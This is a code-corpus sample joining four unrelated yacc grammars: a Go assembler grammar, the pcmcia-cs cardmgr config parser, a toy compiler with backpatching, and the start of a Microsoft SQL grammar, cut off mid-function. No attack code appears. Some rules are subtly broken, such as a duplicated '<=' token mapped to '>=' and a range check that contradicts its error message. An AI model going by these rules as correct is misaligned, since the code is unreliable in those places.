if ($1 & 0xF) > 13 || ($1 & 0xF) < 0 || ($1 >> 5) != 0 {
Parserlex.Error("register must be $0 - $13")
return 1
}
$$ = $1
}
register : REGISTER
{
if $1 > 13 || $1 < 0 {
Parserlex.Error("register must be $0 - $13")
return 1
}
$$ = $1
}
asmarg : register
{
$$.t = ARG_REGISTER
$$.reg = $1
}
| IDENTIFIER
{
$$.t = ARG_LABEL
$$.id = $1
}
| florint
{
$$.t = ARG_IMMEDIATE
$$.num = $1
}
;
op : OP
{
code = append(code, uint16($1))
}
;
op1 : OP1 asmarg
{
switch $2.t {
case ARG_REGISTER:
code = append(code, uint16($1 | $2.reg))
case ARG_IMMEDIATE:
if $2.num == 0 {
code = append(code, uint16($1 | 0xE))
} else {
code = append(code, uint16($1 | 0xF))
code = append(code, uint16($2.num))
}
case ARG_LABEL:
code = append(code, uint16($1 | 0xF))
code = append(code, $2.id)
}
}
;
op2 : OP2 asmarg ',' asmarg
{
app := make([]interface{}, 0, 2)
switch $2.t {
case ARG_REGISTER:
$1 |= $2.reg << 4
case ARG_IMMEDIATE:
if $2.num == 0 {
$1 |= 0xE << 4
} else {
$1 |= 0xF << 4
app = append(app, uint16($2.num))
}
case ARG_LABEL:
$1 |= 0xF << 4
app = append(app, $2.id)
}
switch $4.t {
case ARG_REGISTER:
$1 |= $4.reg
case ARG_IMMEDIATE:
if $4.num == 0 {
$1 |= 0xE
} else {
$1 |= 0xF
app = append(app, uint16($4.num))
}
case ARG_LABEL:
$1 |= 0xF
app = append(app, $4.id)
}
code = append(code, uint16($1))
code = append(code, app...)
}
;
mov : MOV register ',' asmarg
{
app := make([]interface{}, 0, 2)
$1 |= $2 << 4
switch $4.t {
case ARG_REGISTER:
$1 |= $4.reg
case ARG_IMMEDIATE:
if $4.num == 0 {
$1 |= 0xE
} else {
$1 |= 0xF
app = append(app, uint16($4.num))
}
case ARG_LABEL:
$1 |= 0xF
app = append(app, $4.id)
}
code = append(code, uint16($1))
code = append(code, app...)
}
| MOV IDENTIFIER '[' asmarg ']' ',' register
{
$1 |= $7 | 0x0400
switch $4.t {
case ARG_REGISTER:
code = append(code, uint16($1 | ($4.reg << 4)))
case ARG_IMMEDIATE:
if $4.num == 0 {
code = append(code, uint16($1 | (0xE << 4)))
} else {
code = append(code, uint16($1 | (0xF << 4)))
code = append(code, uint16($4.num))
}
case ARG_LABEL:
code = append(code, uint16($1 | (0xF << 4)))
code = append(code, $4.id)
}
code = append(code, $2)
}
| MOV LITERAL '[' asmarg ']' ',' register
{
$1 |= $7 | 0x0400
switch $4.t {
case ARG_REGISTER:
code = append(code, uint16($1 | ($4.reg << 4)))
case ARG_IMMEDIATE:
if $4.num == 0 {
code = append(code, uint16($1 | (0xE << 4)))
} else {
code = append(code, uint16($1 | (0xF << 4)))
code = append(code, uint16($4.num))
}
case ARG_LABEL:
code = append(code, uint16($1 | (0xF << 4)))
code = append(code, $4.id)
}
code = append(code, uint16($2))
}
| MOV register ',' IDENTIFIER '[' asmarg ']'
{
$1 |= ($2 << 4)
mem, ok := mems[$4]
if ok {
$1 |= 0x0C00
} else {
$1 |= 0x0800
}
switch $6.t {
case ARG_REGISTER:
code = append(code, uint16($1 | $6.reg))
case ARG_IMMEDIATE:
if $6.num == 0 {
code = append(code, uint16($1 | 0xE))
} else {
code = append(code, uint16($1 | 0xF))
code = append(code, uint16($6.num))
}
case ARG_LABEL:
code = append(code, uint16($1 | 0xF))
code = append(code, $6.id)
}
if ok {
code = append(code, uint16(mem))
} else {
code = append(code, $4)
}
}
| MOV register ',' LITERAL '[' asmarg ']'
{
$1 |= ($2 << 4) | 0x0800
switch $6.t {
case ARG_REGISTER:
code = append(code, uint16($1 | $6.reg))
case ARG_IMMEDIATE:
if $6.num == 0 {
code = append(code, uint16($1 | 0xE))
} else {
code = append(code, uint16($1 | 0xF))
code = append(code, uint16($6.num))
}
case ARG_LABEL:
code = append(code, uint16($1 | 0xF))
code = append(code, $6.id)
}
code = append(code, $4)
}
| MOV register ',' MEM LITERAL '[' asmarg ']'
{
if $5 < 0 || $5 > 0 {
Parserlex.Error("mem must be in range 0-3")
return 1
}
$1 |= ($2 << 4) | 0x0C00
switch $7.t {
case ARG_REGISTER:
code = append(code, uint16($1 | $7.reg))
case ARG_IMMEDIATE:
if $7.num == 0 {
code = append(code, uint16($1 | 0xE))
} else {
code = append(code, uint16($1 | 0xF))
code = append(code, uint16($7.num))
}
case ARG_LABEL:
code = append(code, uint16($1 | 0xF))
code = append(code, $7.id)
}
code = append(code, uint16($5))
}
;
op3 : OP3 register ',' asmarg ',' asmarg
{
app := make([]interface{}, 0, 2)
$1 |= $2 << 8
switch $4.t {
case ARG_REGISTER:
$1 |= $4.reg << 4
case ARG_IMMEDIATE:
if (($1 & 0x8000) == 0x8000 && $4.num == 1) || (($1 & 0x8000) == 0x0000 && $4.num == 0) {
$1 |= 0xE << 4
} else {
$1 |= 0xF << 4
app = append(app, uint16($4.num))
}
case ARG_LABEL:
$1 |= 0xF << 4
app = append(app, $4.id)
}
switch $6.t {
case ARG_REGISTER:
$1 |= $6.reg
case ARG_IMMEDIATE:
if (($1 & 0x8000) == 0x8000 && $6.num == 1) || (($1 & 0x8000) == 0x0000 && $6.num == 0) {
$1 |= 0xE
} else {
$1 |= 0xF
app = append(app, uint16($6.num))
}
case ARG_LABEL:
$1 |= 0xF
app = append(app, $6.id)
}
code = append(code, uint16($1))
code = append(code, app...)
}
;
mparg : registerlh
{
$$.t = ARG_REGISTER
$$.reg = $1
}
| florint
{
$$.t = ARG_IMMEDIATE
$$.num = $1
}
;
mparglist : mparg
{
$$ = make([]asmarg, 0, 6)
$$ = append($$, $1)
}
| mparglist ',' mparg
{
$$ = append($1, $3)
}
;
mpargs :
{
$$ = nil
}
| mparglist
;
mp : IDENTIFIER mpargs
{
args, ok := mpFunctions[$1]
if ok == false {
Parserlex.Error("function named " + $1 + " does not exist!")
return 1
}
for id, val := range mpFunctionIds {
if val == $1 {
code = append(code, uint16(0x00C0 | id))
break
}
}
var tmp uint16 = 0;
low := true
none := false
argloop: for i, arg := range args {
switch arg.Type {
case ARG_NONE:
if len($2) == i {
none = true
break argloop
} else {
Parserlex.Error("wrong argument count")
return 1
}
case ARG_REG:
if len($2) > i {
if $2[i].t == ARG_REGISTER {
if low {
tmp = uint16($2[i].reg)
low = false
} else {
code = append(code, tmp | (uint16($2[i].reg) << 8))
low = true
}
} else {
Parserlex.Error("wrong argument type")
return 1
}
} else {
Parserlex.Error("wrong argument count")
return 1
}
case ARG_MEM, ARG_IMM:
if len($2) > i {
if $2[i].t == ARG_IMMEDIATE {
if low {
tmp = uint16($2[i].num) & 0x00FF
low = false
} else {
code = append(code, tmp | ((uint16($2[i].num) & 0x00FF) << 8))
low = true
}
} else {
Parserlex.Error("wrong argument type")
return 1
}
} else {
Parserlex.Error("wrong argument count")
return 1
}
}
}
if none == false && len($2) != len(args) {
Parserlex.Error("wrong argument count")
return 1
}
if low == false {
code = append(code, tmp)
}
}
;
data : DW integer
{
code = append(code, uint16($2))
}
;
asmstmnt : op
| op1
| op2
| mov
| op3
| mp
| data
;
asm : label
| label asmstmnt
| asmstmnt
;
%%
|
<filename>snapgear_linux/user/pcmcia-cs/cardmgr/yacc_config.y<gh_stars>0
%{
/*
* yacc_config.y 1.52 2001/06/22 04:17:17
*
* The contents of this file are subject to the Mozilla Public License
* Version 1.1 (the "License"); you may not use this file except in
* compliance with the License. You may obtain a copy of the License
* at http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS"
* basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See
* the License for the specific language governing rights and
* limitations under the License.
*
* The initial developer of the original code is <NAME>
* <<EMAIL>>. Portions created by <NAME>
* are Copyright (C) 1999 <NAME>. All Rights Reserved.
*
* Alternatively, the contents of this file may be used under the
* terms of the GNU Public License version 2 (the "GPL"), in which
* case the provisions of the GPL are applicable instead of the
* above. If you wish to allow the use of your version of this file
* only under the terms of the GPL and not to allow others to use
* your version of this file under the MPL, indicate your decision by
* deleting the provisions above and replace them with the notice and
* other provisions required by the GPL. If you do not delete the
* provisions above, a recipient may use your version of this file
* under either the MPL or the GPL.
*/
#include <stdlib.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
#include <syslog.h>
#include <sys/types.h>
#include <pcmcia/cs_types.h>
#include <pcmcia/cs.h>
#include <pcmcia/cistpl.h>
#include <pcmcia/ds.h>
#include "cardmgr.h"
/* If bison: generate nicer error messages */
#define YYERROR_VERBOSE 1
/* from lex_config, for nice error messages */
extern char *current_file;
extern int current_lineno;
void yyerror(char *msg, ...);
static int add_binding(card_info_t *card, char *name, int fn);
static int add_module(device_info_t *card, char *name);
%}
%token DEVICE CARD ANONYMOUS TUPLE MANFID VERSION FUNCTION PCI
%token BIND CIS TO NEEDS_MTD MODULE OPTS CLASS
%token REGION JEDEC DTYPE DEFAULT MTD
%token INCLUDE EXCLUDE RESERVE IRQ_NO PORT MEMORY
%token STRING NUMBER
%union {
char *str;
u_long num;
struct device_info_t *device;
struct card_info_t *card;
struct mtd_ident_t *mtd;
struct adjust_list_t *adjust;
}
%type <str> STRING
%type <num> NUMBER
%type <adjust> adjust resource
%type <device> device needs_mtd module class
%type <card> card anonymous tuple manfid pci version function bind cis
%type <mtd> region jedec dtype default mtd
%%
list: /* nothing */
| list adjust
{
adjust_list_t **tail = &root_adjust;
while (*tail != NULL) tail = &(*tail)->next;
*tail = $2;
}
| list device
{
$2->next = root_device;
root_device = $2;
}
| list mtd
{
if ($2->mtd_type == 0) {
yyerror("no ID method for this card");
YYERROR;
}
if ($2->module == NULL) {
yyerror("no MTD module specified");
YYERROR;
}
$2->next = root_mtd;
root_mtd = $2;
}
| list card
{
if ($2->ident_type == 0) {
yyerror("no ID method for this card");
YYERROR;
}
if ($2->bindings == 0) {
yyerror("no function bindings");
YYERROR;
}
if ($2->ident_type == FUNC_IDENT) {
$2->next = root_func;
root_func = $2;
} else {
$2->next = root_card;
root_card = $2;
}
}
| list opts
| list mtd_opts
| list error
;
adjust: INCLUDE resource
{
$2->adj.Action = ADD_MANAGED_RESOURCE;
$$ = $2;
}
| EXCLUDE resource
{
$2->adj.Action = REMOVE_MANAGED_RESOURCE;
$$ = $2;
}
| RESERVE resource
{
$2->adj.Action = ADD_MANAGED_RESOURCE;
$2->adj.Attributes |= RES_RESERVED;
$$ = $2;
}
| adjust ',' resource
{
$3->adj.Action = $1->adj.Action;
$3->adj.Attributes = $1->adj.Attributes;
$3->next = $1;
$$ = $3;
}
;
resource: IRQ_NO NUMBER
{
$$ = calloc(sizeof(adjust_list_t), 1);
$$->adj.Resource = RES_IRQ;
$$->adj.resource.irq.IRQ = $2;
}
| PORT NUMBER '-' NUMBER
{
if (($4 < $2) || ($4 > 0xffff)) {
yyerror("invalid port range");
YYERROR;
}
$$ = calloc(sizeof(adjust_list_t), 1);
$$->adj.Resource = RES_IO_RANGE;
$$->adj.resource.io.BasePort = $2;
$$->adj.resource.io.NumPorts = $4 - $2 + 1;
}
| MEMORY NUMBER '-' NUMBER
{
if ($4 < $2) {
yyerror("invalid address range");
YYERROR;
}
$$ = calloc(sizeof(adjust_list_t), 1);
$$->adj.Resource = RES_MEMORY_RANGE;
$$->adj.resource.memory.Base = $2;
$$->adj.resource.memory.Size = $4 - $2 + 1;
}
;
device: DEVICE STRING
{
$$ = calloc(sizeof(device_info_t), 1);
$$->refs = 1;
strcpy($$->dev_info, $2);
free($2);
}
| needs_mtd
| module
| class
;
card: CARD STRING
{
$$ = calloc(sizeof(card_info_t), 1);
$$->refs = 1;
$$->name = $2;
}
| anonymous
| tuple
| manfid
| pci
| version
| function
| bind
| cis
;
anonymous: card ANONYMOUS
{
if ($1->ident_type != 0) {
yyerror("ID method already defined");
YYERROR;
}
if (blank_card) {
yyerror("Anonymous card already defined");
YYERROR;
}
$1->ident_type = BLANK_IDENT;
blank_card = $1;
}
;
tuple: card TUPLE NUMBER ',' NUMBER ',' STRING
{
if ($1->ident_type != 0) {
yyerror("ID method already defined");
YYERROR;
}
$1->ident_type = TUPLE_IDENT;
$1->id.tuple.code = $3;
$1->id.tuple.ofs = $5;
$1->id.tuple.info = $7;
}
;
manfid: card MANFID NUMBER ',' NUMBER
{
if ($1->ident_type & EXCL_IDENT) {
yyerror("ID method already defined");
YYERROR;
}
$1->ident_type = MANFID_IDENT;
$1->manfid.manf = $3;
$1->manfid.card = $5;
}
pci: card PCI NUMBER ',' NUMBER
{
if ($1->ident_type != 0) {
yyerror("ID method already defined");
YYERROR;
}
$1->ident_type = PCI_IDENT;
$1->manfid.manf = $3;
$1->manfid.card = $5;
}
version: card VERSION STRING
{
if ($1->ident_type & EXCL_IDENT) {
yyerror("ID method already defined\n");
YYERROR;
}
$1->ident_type = VERS_1_IDENT;
$1->id.vers.ns = 1;
$1->id.vers.pi[0] = $3;
}
| version ',' STRING
{
if ($1->id.vers.ns == 4) {
yyerror("too many version strings");
YYERROR;
}
$1->id.vers.pi[$1->id.vers.ns] = $3;
$1->id.vers.ns++;
}
;
function: card FUNCTION NUMBER
{
if ($1->ident_type != 0) {
yyerror("ID method already defined\n");
YYERROR;
}
$1->ident_type = FUNC_IDENT;
$1->id.func.funcid = $3;
}
;
cis: card CIS STRING
{ $1->cis_file = strdup($3); }
;
bind: card BIND STRING
{
if (add_binding($1, $3, 0) != 0)
YYERROR;
}
| card BIND STRING TO NUMBER
{
if (add_binding($1, $3, $5) != 0)
YYERROR;
}
| bind ',' STRING
{
if (add_binding($1, $3, 0) != 0)
YYERROR;
}
| bind ',' STRING TO NUMBER
{
if (add_binding($1, $3, $5) != 0)
YYERROR;
}
;
needs_mtd: device NEEDS_MTD
{
$1->needs_mtd = 1;
}
;
opts: MODULE STRING OPTS STRING
{
device_info_t *d;
int i, found = 0;
for (d = root_device; d; d = d->next) {
for (i = 0; i < d->modules; i++)
if (strcmp($2, d->module[i]) == 0) break;
if (i < d->modules) {
if (d->opts[i])
free(d->opts[i]);
d->opts[i] = strdup($4);
found = 1;
}
}
free($2); free($4);
if (!found) {
yyerror("module name not found!");
YYERROR;
}
}
;
module: device MODULE STRING
{
if (add_module($1, $3) != 0)
YYERROR;
}
| module OPTS STRING
{
if ($1->opts[$1->modules-1] == NULL) {
$1->opts[$1->modules-1] = $3;
} else {
yyerror("too many options");
YYERROR;
}
}
| module ',' STRING
{
if (add_module($1, $3) != 0)
YYERROR;
}
;
class: device CLASS STRING
{
if ($1->class != NULL) {
yyerror("extra class string");
YYERROR;
}
$1->class = $3;
}
;
region: REGION STRING
{
$$ = calloc(sizeof(mtd_ident_t), 1);
$$->refs = 1;
$$->name = $2;
}
| dtype
| jedec
| default
;
dtype: region DTYPE NUMBER
{
if ($1->mtd_type != 0) {
yyerror("ID method already defined");
YYERROR;
}
$1->mtd_type = DTYPE_MTD;
$1->dtype = $3;
}
;
jedec: region JEDEC NUMBER NUMBER
{
if ($1->mtd_type != 0) {
yyerror("ID method already defined");
YYERROR;
}
$1->mtd_type = JEDEC_MTD;
$1->jedec_mfr = $3;
$1->jedec_info = $4;
}
;
default: region DEFAULT
{
if ($1->mtd_type != 0) {
yyerror("ID method already defined");
YYERROR;
}
if (default_mtd) {
yyerror("Default MTD already defined");
YYERROR;
}
$1->mtd_type = DEFAULT_MTD;
default_mtd = $1;
}
;
mtd: region MTD STRING
{
if ($1->module != NULL) {
yyerror("extra MTD entry");
YYERROR;
}
$1->module = $3;
}
| mtd OPTS STRING
{
if ($1->opts == NULL) {
$1->opts = $3;
} else {
yyerror("too many options");
YYERROR;
}
}
;
mtd_opts: MTD STRING OPTS STRING
{
mtd_ident_t *m;
int found = 0;
for (m = root_mtd; m; m = m->next)
if (strcmp($2, m->module) == 0) break;
if (m) {
if (m->opts) free(m->opts);
m->opts = strdup($4);
found = 1;
}
free($2); free($4);
if (!found) {
yyerror("MTD name not found!");
YYERROR;
}
}
;
%%
void yyerror(char *msg, ...)
{
va_list ap;
char str[256];
va_start(ap, msg);
sprintf(str, "config error, file '%s' line %d: ",
current_file, current_lineno);
vsprintf(str+strlen(str), msg, ap);
#if YYDEBUG
fprintf(stderr, "%s\n", str);
#else
syslog(LOG_ERR, "%s", str);
#endif
va_end(ap);
}
static int add_binding(card_info_t *card, char *name, int fn)
{
device_info_t *dev = root_device;
if (card->bindings == MAX_BINDINGS) {
yyerror("too many bindings\n");
return -1;
}
for (; dev; dev = dev->next)
if (strcmp((char *)dev->dev_info, name) == 0) break;
if (dev == NULL) {
yyerror("unknown device: %s", name);
return -1;
}
card->device[card->bindings] = dev;
card->dev_fn[card->bindings] = fn;
card->bindings++;
free(name);
return 0;
}
static int add_module(device_info_t *dev, char *name)
{
if (dev->modules == MAX_MODULES) {
yyerror("too many modules");
return -1;
}
dev->module[dev->modules] = name;
dev->opts[dev->modules] = NULL;
dev->modules++;
return 0;
}
#if YYDEBUG
adjust_list_t *root_adjust = NULL;
device_info_t *root_device = NULL;
card_info_t *root_card = NULL, *blank_card = NULL, *root_func = NULL;
mtd_ident_t *root_mtd = NULL, *default_mtd = NULL;
void main(int argc, char *argv[])
{
yydebug = 1;
if (argc > 1)
parse_configfile(argv[1]);
}
#endif
|
%right '=' '+=' '-=' '*=' '/='
%left '==' '!='
%left '<' '>' '<=' '>='
%left '+' '-'
%left '*' '/'
%left '||'
%left '&&'
%right '!'
%left 'else'
%%
S : program {}
;
program : globalData stmts {}
| stmts {}
;
globalData : globalStmts {
}
;
globalStmts : globalStmts globalStmt {}
| globalStmt {}
;
globalStmt : 'static' var_decl ';' {}
;
stmts : stmts M stmt {
backpatch($1.nextlist, $2.instr);
$$.nextlist = $3.nextlist;
}
| stmt {
$$.nextlist = $1.nextlist;
}
;
stmt : '{' stmts '}' {
$$.nextlist = $2.nextlist;
}
| fun_define {
returnToGlobalTable();
}
| if_stmt {
$$.nextlist = $1.nextlist;
}
| while_stmt {
$$.nextlist = $1.nextlist;
}
| var_decl ';' {
$$.nextlist = $1.nextlist;
}
| expr_stmt ';' {
}
| 'return' expr ';' {
emit("return",$2.place,"","");
setOutLiveVar($2.place);
}
;
fun_define : fun_decl_head BlockLeader '{' stmts '}' {
$$.name = $1.name;
}
;
fun_decl_head : type_spec 'id' '(' ')' {
$$.name = $2.lexeme;
createSymbolTable($2.lexeme, $1.width);
addFunLabel(nextInstr, $2.lexeme);
}
| type_spec 'id' '(' param_list ')' {
$$.name = $2.lexeme;
createSymbolTable($2.lexeme, $1.width);
addToSymbolTable($4.itemlist);
addFunLabel(nextInstr, $2.lexeme);
}
;
param_list : param_list ',' param {
$$.itemlist = $1.itemlist || $3.itemlist;
}
| param {
$$.itemlist = $1.itemlist;
}
;
param : type_spec 'id' {
$$.itemlist = makeParam($2.lexeme,$1.type,$1.width);
}
| type_spec 'id' '[' int_literal ']' {
$$.itemlist = makeParam($2.lexeme,array($4.lexval,$1.type),$4.lexval * $1.width);
}
;
int_literal : 'num' {
$$.lexval = $1.lexeme;
}
;
static_var_decl : 'static' var_decl {
//$$.code = $2.code;
}
;
var_decl : type_spec 'id' {
enter($2.lexeme,$1.type,$1.width);
}
| type_spec 'id' '=' expr {
p = enter($2.lexeme,$1.type,$1.width);
emit("",$4.place,"",p);
}
| type_spec 'id' '[' int_literal ']' {
enter($2.lexeme,array($4.lexval,$1.type),$4.lexval * $1.width);
}
;
type_spec : 'int' {
$$.type = "int";
$$.width = "2";
}
| 'double' {
$$.type = "double";
$$.width = "2";
}
| 'void' {
$$.type = "void";
$$.width = "0";
}
;
expr_stmt : 'id' '=' expr {
p = lookupPlace($1.lexeme);
if (p.empty()) error();
emit("",$3.place,"",p);
}
;
expr : expr '+' expr {
$$.place = newtemp($1.place);
emit("ADD", $1.place, $3.place, $$.place);
}
| expr '-' expr {
$$.place = newtemp($1.place);
emit("SUB", $1.place, $3.place, $$.place);
}
| expr '*' expr {
$$.place = newtemp($1.place);
emit("MUL", $1.place, $3.place, $$.place);
}
| expr '/' expr {
$$.place = newtemp($1.place);
emit("DIV", $1.place, $3.place, $$.place);
}
| '(' expr ')' {
$$.place = $2.place;
}
| 'id' {
$$.place = lookupPlace($1.lexeme);
}
| 'id' '(' arg_list ')' {
p = gen(paramStack.size());
while (!paramStack.empty()) {
emit("param", paramStack.top(),"","");
paramStack.pop();
}
emit("call", p, $1.lexeme,"");
enter("#","int",2);
$$.place = newtemp("#");
emit("","#","",$$.place);
//$$.place = "#";
}
| 'num' {
$$.place = addNum($1.lexeme);
}
;
arg_list : arg_list ',' expr {
paramStack.push($3.place);
}
| expr {
paramStack.push($1.place);
}
| {
//paramStack.clear();
}
;
if_stmt : 'if' BlockLeader '(' logic_expr ')' M stmt {
backpatch($4.truelist, $6.instr);
$$.nextlist = merge($4.falselist, $7.nextlist);
}
| 'if' BlockLeader '(' logic_expr ')' M stmt N 'else' M stmt {
backpatch($4.truelist, $6.instr);
backpatch($4.falselist, $10.instr);
$$.nextlist = merge(merge($7.nextlist, $8.instr), $11.nextlist);
}
;
while_stmt : 'while' BlockLeader M '(' logic_expr ')' M stmt {
backpatch($8.nextlist, $3.instr);
backpatch($5.truelist, $7.instr);
$$.nextlist = $5.falselist;
emit("j","","",$3.instr);
}
;
logic_expr : logic_expr '&&' M logic_expr {
backpatch($1.truelist, $3.instr);
$$.truelist = $4.truelist;
$$.falselist = merge($1.falselist, $4.falselist);
}
| logic_expr '||' M logic_expr {
backpatch($1.falselist, $3.instr);
$$.truelist = merge($1.truelist, $4.truelist);
$$.falselist = $4.falselist;
}
| '!' logic_expr {
$$.truelist = $2.falselist;
$$.falselist = $2.truelist;
}
| '(' logic_expr ')' {
$$.truelist = $2.truelist;
$$.falselist = $2.falselist;
}
| expr rel expr {
$$.truelist = makelist(nextInstr);
$$.falselist = makelist(nextInstr+1);
emit("j"+$2.op, $1.place, $3.place, "_");
emit("j","","","_");
}
| expr {
$$.truelist = makelist(nextInstr);
$$.falselist = makelist(nextInstr+1);
emit("j!=", $1.addr, "0", "_");
emit("j","","","_");
}
| 'true' {
$$.truelist = makelist(nextInstr);
emit("j","","","_");
}
| 'false' {
$$.falselist = makelist(nextInstr);
emit("j","","","_");
}
;
M : {$$.instr = "LABEL_" + gen(nextInstr);}
;
N : { $$.instr = makelist(nextInstr);
emit("j","","","_");
}
;
BlockLeader : {
addLeader(nextInstr);
}
;
rel : '<' {$$.op = "<";}
| '>' {$$.op = ">";}
| '<='{$$.op = "<=";}
| '<='{$$.op = ">=";}
| '=='{$$.op = "==";}
| '!='{$$.op = "!=";}
;
|
<gh_stars>10-100
%{
//--------------------------------------------------------------------
// Microsoft Monarch
//
// Copyright (c) Microsoft Corporation, 1997 - 1999.
//
// @doc OPTIONAL EXTRACTION CODES
//
// @module MS-sql.y |
// Monarch SQL YACC Script
//
// @devnote none
//
// @rev 0 | 04-Feb-97 | v-charca | Created
//
/* 3.4 Object identifier for Database Language SQL */
#pragma hdrstop
#pragma optimize("g", off)
#include "msidxtr.h"
EXTERN_C const IID IID_IColumnMapperCreator;
#define VAL_AND_CCH_MINUS_NULL(p1) (p1), ((sizeof(p1) / sizeof(*(p1))) - 1)
#ifdef YYDEBUG
#define YYTRACE(a,b,c) wprintf(L"** %s[%s%s] ** \n", a, b, c);
#else
#define YYTRACE(a,b,c)
#endif
#ifdef DEBUG
#define AssertReq(x) Assert(x != NULL)
#else
#define AssertReq(x)
#endif
#define DEFAULTWEIGHT 1000
typedef struct tagDBTYPENAMETABLE
{
LPWSTR pwszDBTypeName;
DBTYPE dbType;
} DBTYPENAMETABLE;
// J F M A M J J A S O N D
const short LeapDays[12] = { 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 };
const short Days[12] = { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 };
#define IsLeapYear(yrs) ( \
(((yrs) % 400 == 0) || \
((yrs) % 100 != 0) && ((yrs) % 4 == 0)) ? \
TRUE \
: \
FALSE \
)
#define DaysInMonth(YEAR,MONTH) ( \
IsLeapYear(YEAR) ? \
LeapDays[(MONTH)] : \
Days[(MONTH)] \
)
//-----------------------------------------------------------------------------
// @func GetDBTypeFromStr
//
// This function takes a TypeName as input, and returns the DBTYPE of the string
//
// @rdesc DBTYPE
//-----------------------------------------------------------------------------
DBTYPE GetDBTypeFromStr(
LPWSTR pwszDBTypeName ) // @parm IN
{
DBTYPE dbType = DBTYPE_EMPTY;
if ( 9 <= wcslen(pwszDBTypeName) )
switch ( pwszDBTypeName[7] )
{
case L'U':
case L'u':
if (10 == wcslen(pwszDBTypeName))
switch ( pwszDBTypeName[9])
{
case L'1':
if (0 == _wcsicmp(L"DBTYPE_UI1", pwszDBTypeName))
dbType = DBTYPE_UI1;
break;
case L'2':
if (0 == _wcsicmp(L"DBTYPE_UI2", pwszDBTypeName))
dbType = DBTYPE_UI2;
break;
case L'4':
if (0 == _wcsicmp(L"DBTYPE_UI4", pwszDBTypeName))
dbType = DBTYPE_UI4;
break;
case L'8':
if (0 == _wcsicmp(L"DBTYPE_UI8", pwszDBTypeName))
dbType = DBTYPE_UI8;
break;
default:
break;
}
break;
case L'I':
case L'i':
switch ( pwszDBTypeName[8] )
{
case L'1':
if ( 0 == _wcsicmp(L"DBTYPE_I1", pwszDBTypeName) )
dbType = DBTYPE_I1;
break;
case L'2':
if ( 0 == _wcsicmp(L"DBTYPE_I2", pwszDBTypeName) )
dbType = DBTYPE_I2;
break;
case L'4':
if ( 0 == _wcsicmp(L"DBTYPE_I4", pwszDBTypeName) )
dbType = DBTYPE_I4;
break;
case L'8':
if ( 0 == _wcsicmp(L"DBTYPE_I8", pwszDBTypeName) )
dbType = DBTYPE_I8;
break;
default:
break;
}
break;
case L'R':
case L'r':
switch ( pwszDBTypeName[8] )
{
case L'4':
if ( 0 == _wcsicmp(L"DBTYPE_R4", pwszDBTypeName) )
dbType = DBTYPE_R4;
break;
case L'8':
if (0 == _wcsicmp(L"DBTYPE_R8", pwszDBTypeName))
dbType = DBTYPE_R8;
break;
default:
break;
}
break;
case L'B':
case L'b':
if ( 10 <= wcslen(pwszDBTypeName) )
switch ( pwszDBTypeName[8] )
{
case L'S':
case L's':
if ( 0 == _wcsicmp(L"DBTYPE_BSTR", pwszDBTypeName) )
dbType = DBTYPE_BSTR;
break;
case L'O':
case L'o':
if ( 0 == _wcsicmp(L"DBTYPE_BOOL", pwszDBTypeName) )
dbType = DBTYPE_BOOL;
break;
case L'Y':
case L'y':
if ( 0 == _wcsicmp(L"DBTYPE_BYREF", pwszDBTypeName) )
dbType = DBTYPE_BYREF;
break;
default:
break;
}
break;
case L'E':
case L'e':
if ( 0 == _wcsicmp(L"DBTYPE_EMPTY", pwszDBTypeName) )
dbType = DBTYPE_EMPTY;
break;
case L'N':
case L'n':
if ( 0 == _wcsicmp(L"DBTYPE_NULL", pwszDBTypeName) )
dbType = DBTYPE_NULL;
break;
case L'C':
case L'c':
if ( 0 == _wcsicmp(L"DBTYPE_CY", pwszDBTypeName) )
dbType = DBTYPE_CY;
break;
case L'D':
case L'd':
if ( 0 == _wcsicmp(L"DBTYPE_DATE", pwszDBTypeName) )
dbType = DBTYPE_DATE;
break;
case L'G':
case L'g':
if ( 0 == _wcsicmp(L"DBTYPE_GUID", pwszDBTypeName) )
dbType = DBTYPE_GUID;
break;
case L'S':
case L's':
if ( 0 == _wcsicmp(L"DBTYPE_STR", pwszDBTypeName) )
dbType = DBTYPE_STR;
break;
case L'W':
case L'w':
if ( 0 == _wcsicmp(L"DBTYPE_WSTR", pwszDBTypeName) )
dbType = DBTYPE_WSTR;
break;
case L'T':
case L't':
if ( 0 == _wcsicmp(L"VT_FILETIME", pwszDBTypeName) )
dbType = VT_FILETIME;
break;
case L'V':
case L'v':
if ( 0 == _wcsicmp(L"DBTYPE_VECTOR", pwszDBTypeName) )
dbType = DBTYPE_VECTOR;
break;
default:
break;
}
return dbType;
}
const DBTYPENAMETABLE dbTypeNameTable[] =
{
{L"DBTYPE_EMPTY", DBTYPE_EMPTY},
{L"DBTYPE_NULL", DBTYPE_NULL},
{L"DBTYPE_I2", DBTYPE_I2},
{L"DBTYPE_I4", DBTYPE_I4},
{L"DBTYPE_R4", DBTYPE_R4},
{L"DBTYPE_R8", DBTYPE_R8},
{L"DBTYPE_CY", DBTYPE_CY},
{L"DBTYPE_DATE", DBTYPE_DATE},
{L"DBTYPE_BSTR", DBTYPE_BSTR},
{L"DBTYPE_BOOL", DBTYPE_BOOL},
{L"DBTYPE_UI1", DBTYPE_UI1},
{L"DBTYPE_I1", DBTYPE_I1},
{L"DBTYPE_UI2", DBTYPE_UI2},
{L"DBTYPE_UI4", DBTYPE_UI4},
{L"DBTYPE_I8", DBTYPE_I8},
{L"DBTYPE_UI8", DBTYPE_UI8},
{L"DBTYPE_GUID", DBTYPE_GUID},
{L"DBTYPE_STR", DBTYPE_STR},
{L"DBTYPE_WSTR", DBTYPE_WSTR},
{L"DBTYPE_BYREF", DBTYPE_BYREF},
{L"VT_FILETIME", VT_FILETIME},
{L"DBTYPE_VECTOR", DBTYPE_VECTOR}
};
//-----------------------------------------------------------------------------
// @func PctCreateContentNode
//
// This function takes a content string as input and creates a content node
// with the specified generate method and weight.
//
// @rdesc DBCOMMANDTREE*
//-----------------------------------------------------------------------------
DBCOMMANDTREE* PctCreateContentNode(
LPWSTR pwszContent, // @parm IN | content for the node
DWORD dwGenerateMethod,//@parm IN | generate method
LONG lWeight, // @parm IN | weight
LCID lcid, // @parm IN | locale identifier
DBCOMMANDTREE* pctFirstChild ) // @parm IN | node to link to new node
{
DBCOMMANDTREE* pct = PctCreateNode( DBOP_content, DBVALUEKIND_CONTENT, pctFirstChild, NULL );
if ( 0 != pct )
{
